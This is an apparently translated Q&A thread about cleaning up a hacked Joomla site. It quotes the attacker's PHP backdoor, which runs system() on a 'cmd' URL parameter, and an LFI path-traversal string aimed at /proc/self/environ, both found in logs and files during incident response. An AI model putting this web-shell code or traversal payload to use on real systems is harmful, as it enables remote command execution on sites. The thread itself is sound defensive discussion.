使用 ?cmd=ls 入侵的网站

ggu*_*erg 4 security hacking joomla

我正在运行的一个 Joomla 网站前几天被黑了。黑客将一些文件放入 tmp 目录,并以某种方式在那里运行 HTTP 守护程序(至少我的主机是这么告诉我的)。无论如何,我一直在努力清理他们留下的文件并尽可能保护我的安全,但在检查我的日志时,我注意到www.domain.com/?cmd=ls. 这对我来说似乎很奇怪,所以我尝试了它...... 瞧,它列出了我网站根目录中的所有文件。有人可以向我解释为什么会发生这种情况以及我如何阻止它吗?这似乎是一个巨大的漏洞,我想立即消除它。

更新:在挖掘过程中,我注意到在 Joomla index.php 中添加了一些额外的行:

if ($_GET['cmd']!=null) {
     system($_GET['cmd']);
}
Run Code Online (Sandbox Code Playgroud)

我已经删除了这些,但很想知道攻击者是如何设法编辑这些的。不太确定在哪里查看以确保我关闭了任何后门。

更多更新:首先让我说是的,我意识到这里正确的行动方案是炸毁网站并从备份中恢复。但是我更愿意把它作为最后的手段,因为 (a) 它是一个依赖社区贡献的网站,而且我的备份不是最近的(我的错,我知道)和 (b) 我正在开发一个新的应该很快准备好的版本。但是因为我似乎在这里得到了一些帮助,所以我将添加一些我发现/做的其他事情,以试图解决这种情况。

在我的 /tmp 文件夹中找到了一些 .kin(或类似的东西 - 没有记下它并立即将其删除)目录,这显然是运行这个 http 守护程序的地方。我假设 gunzip(如下所述)是如何放置在这里的。

在我的 error_log 文件中,我发现了以下可疑条目(“...”是我试图从这篇文章中删除路径/文件名):

[04-Jul-2010 09:45:58] PHP Fatal error:  Class 'CkformsController../../../../../../../../../../../../../../../proc/self/environ' not found in ... on line 24

[05-Jul-2010 12:31:30] PHP Notice:  Undefined index:  HTTP_USER_AGENT in ... on line 92

[04-Jul-2010 06:41:52] PHP Warning:  rmdir(...) [<a href='function.rmdir'>function.rmdir</a>]: Directory not empty in ... on line 1719
Run Code Online (Sandbox Code Playgroud)

我已经更新了 CKForms 组件(在我运行的版本中被列为具有已知漏洞),以及 HTTP_USER_AGENT 消息中列出的另一个组件。

在我的统计日志中,我发现同一个 IP 地址尝试了 ?cmd=ls 两次,所以我阻止了那个 IP(在印度尼西亚的某个地方)。

我将 Joomla 安装更新为最新版本。

我在我的根目录中找到了 system.ph 和 system.php 文件,它们有一个 gunzip/base64 编码的字符串,我将其删除。

我已经浏览了安装中时间戳最近的所有目录,以查看是否存在任何异常文件。

删除了一个指向 .../tmp/.kin/up2you >/dev/null 2>&1 的 cron 作业

此外,我担心即使我确实从备份中恢复,使用的任何漏洞仍然存在,因此根本原因和预防才是我真正想要的。

Chr*_*s S 11

您的服务器非常不安全,可能是黑客攻击的结果。需要尽快下线。

此时最好的做法是将其擦除干净,从备份中恢复,并确保它是安全的。除非你擦除它,否则你几乎无法确定你已经摆脱了黑客/病毒/等。

  • 我已经重置了我所有的 FTP 密码并使它们非常安全。我确实相信(我可能会弄错,但我认为这是一个有根据的猜测)漏洞利用来自 CKForms 组件。它在 Joomla 的漏洞扩展列表中被列为发布了 LFI 安全修复程序,因此希望更新到最新版本可以修补该漏洞。 (2认同)

Sat*_*ppy 5

我同意 Chris S。你太被剥削了。您需要从备份中擦除和恢复。这一次,在您上线之前,您需要非常小心您的写入和执行权限。

一旦攻击者获得系统级访问权限,您就无法再信任您的代码。

目录权限很大。这一点怎么强调都不为过。他们通过漏洞利用将代码上传到您的网站,但只有在您的代码可以写入本地目录时才能完成。如果它不能,或者它可以写入的本地目录不能被解释或用于托管可执行代码,那么可以造成的损害是非常有限的。

我建议删除所有可能的写权限,所有这些权限,甚至是属于 root 的权限。无论如何应该可写的唯一内容是上传目录和任何存储会话文件的目录。如果您不允许上传,则只有会话文件目录,并且应该尽可能锁定该目录。

您还应该定期运行文件完整性扫描。不幸的是,如果您没有完全访问服务器的权限,这并不容易。您仍然可以下载该站点并定期将其与备份进行比较。理想情况下,您应该能够随时从备份覆盖整个站点,并且没有人注意到其中的差异。

  • 你没有备份完全是你的错。如果你现在把它放回去,你不能保证它是安全的,而且很可能不是。 (3认同)